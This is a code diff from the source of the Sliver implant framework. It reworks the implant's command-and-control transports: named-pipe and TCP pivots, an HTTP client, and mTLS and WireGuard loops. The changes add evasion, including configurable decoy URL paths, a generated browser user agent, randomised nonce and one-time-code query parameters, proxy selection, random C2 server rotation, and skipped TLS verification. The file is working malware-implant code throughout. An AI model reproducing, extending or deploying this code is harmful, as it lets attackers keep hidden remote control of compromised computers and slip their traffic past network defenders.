||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
func namePipeDial(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
@@ -64,7 +124,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
@@ -73,7 +133,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -82,7 +142,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -94,7 +154,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
@@ -120,7 +180,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
@@ -20,13 +20,6 @@ package transports
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = init
|
||||
// .php = session
|
||||
// .js = poll
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rsa"
|
||||
@@ -57,15 +50,17 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
)
|
||||
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
|
||||
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, true)
|
||||
client = httpsClient(address, proxyConfig)
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
@@ -73,7 +68,7 @@ func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, err
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, true) // Fallback to insecure HTTP
|
||||
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -119,23 +114,62 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
query := req.URL.Query()
|
||||
query.Set("_", fmt.Sprintf("%d", encoderNonce))
|
||||
req.URL.RawQuery = query.Encode()
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Encoder nonce %d", value)
|
||||
// {{end}}
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
uri := s.txtURL()
|
||||
uri := s.keyExchangeURL()
|
||||
nonce, encoder := encoders.RandomTxtEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -180,22 +214,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// We do our own POST here because the server doesn't have the
|
||||
// session key yet.
|
||||
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] sessionInit = %v", sessionInit)
|
||||
// {{end}}
|
||||
payload := encoder.Encode(sessionInit)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
|
||||
// {{end}}
|
||||
reqBody := bytes.NewReader(payload) // Already RSA encrypted
|
||||
|
||||
uri := s.jspURL()
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -220,14 +251,19 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
)
|
||||
|
||||
// Poll - Perform an HTTP GET request
|
||||
func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.jsURL()
|
||||
uri := s.pollURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
@@ -238,28 +274,35 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 && resp.StatusCode != 201 {
|
||||
return nil, errors.New("Non-200 response code")
|
||||
}
|
||||
if resp.StatusCode == 403 {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Server responded with invalid session for %v", s.SessionID)
|
||||
// {{end}}
|
||||
return nil, errors.New("invalid session")
|
||||
}
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode == http.StatusNoContent {
|
||||
return nil, nil
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Unexpected status code %v", resp)
|
||||
// {{end}}
|
||||
return nil, ErrStatusCodeUnexpected
|
||||
}
|
||||
|
||||
// Send - Perform an HTTP POST request
|
||||
@@ -267,15 +310,18 @@ func (s *SliverHTTPClient) Send(data []byte) error {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return errors.New("no session")
|
||||
}
|
||||
reqData, err := GCMEncrypt(*s.SessionKey, data)
|
||||
reqData, _ := GCMEncrypt(*s.SessionKey, data)
|
||||
|
||||
uri := s.sessionURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
uri := s.phpURL()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -299,54 +345,105 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jsURL() string {
|
||||
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"js", "static", "assets", "dist", "javascript"}
|
||||
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jspURL() string {
|
||||
func (s *SliverHTTPClient) pollURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"app", "admin", "upload", "actions", "api"}
|
||||
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) phpURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"api", "rest", "drupal", "wordpress"}
|
||||
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.sessionURL()
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) txtURL() string {
|
||||
func (s *SliverHTTPClient) sessionURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
|
||||
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
|
||||
n := insecureRand.Intn(2) // How many segments?
|
||||
func (s *SliverHTTPClient) closeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.ClosePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.CloseFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
genSegments := []string{}
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
genSegments = append(genSegments, filename)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
return genSegments
|
||||
}
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
httpTransport := &http.Transport{
|
||||
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: defaultNetTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
@@ -356,31 +453,15 @@ func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: httpTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "http"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
httpTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
netTransport := &http.Transport{
|
||||
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: defaultNetTimeout,
|
||||
}).Dial,
|
||||
@@ -392,10 +473,20 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: netTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -408,11 +499,26 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
netTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
return client
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
|
||||
@@ -33,7 +33,6 @@ import (
|
||||
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -63,9 +62,9 @@ func socketWritePing(connection *tls.Conn) error {
|
||||
// {{end}}
|
||||
|
||||
// We don't need a real nonce here, we just need to write to the socket
|
||||
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
|
||||
envelope := sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
|
||||
envelope := pb.Envelope{
|
||||
Type: pb.MsgPing,
|
||||
Data: pingBuf,
|
||||
}
|
||||
return socketWriteEnvelope(connection, &envelope)
|
||||
@@ -152,7 +151,6 @@ func getTLSConfig() *tls.Config {
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: rootOnlyVerifyCertificate,
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ const (
|
||||
writeBufSizeTCP = 1024
|
||||
)
|
||||
|
||||
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
+15
-15
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,19 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions when compiling to
|
||||
non-Windows platforms.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
import (
|
||||
"errors"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
func namedPipeConnect(_ *url.URL) (*Connection, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
@@ -19,10 +19,10 @@ package transports
|
||||
*/
|
||||
|
||||
import (
|
||||
insecureRand "math/rand"
|
||||
|
||||
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
|
||||
"net"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -33,6 +33,7 @@ import (
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
"errors"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -40,7 +41,6 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
@@ -107,6 +107,10 @@ type Tunnel struct {
|
||||
WriteSequence uint64
|
||||
}
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
@@ -130,8 +134,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -289,14 +293,45 @@ func GetActiveConnection() *Connection {
|
||||
}
|
||||
|
||||
func nextCCServer() *url.URL {
|
||||
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case "r": // Random
|
||||
next = ccServers[insecureRand.Intn(len(ccServers))]
|
||||
case "rd": // Random Domain
|
||||
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
|
||||
case "s": // Sequential
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
default:
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
}
|
||||
*ccCounter++
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return nextCCServer()
|
||||
}
|
||||
return uri
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if uri.Scheme == protocol {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
}
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
func GetReconnectInterval() time.Duration {
|
||||
if reconnectInterval == -1 {
|
||||
@@ -400,12 +435,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -490,12 +525,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWGWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWGWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
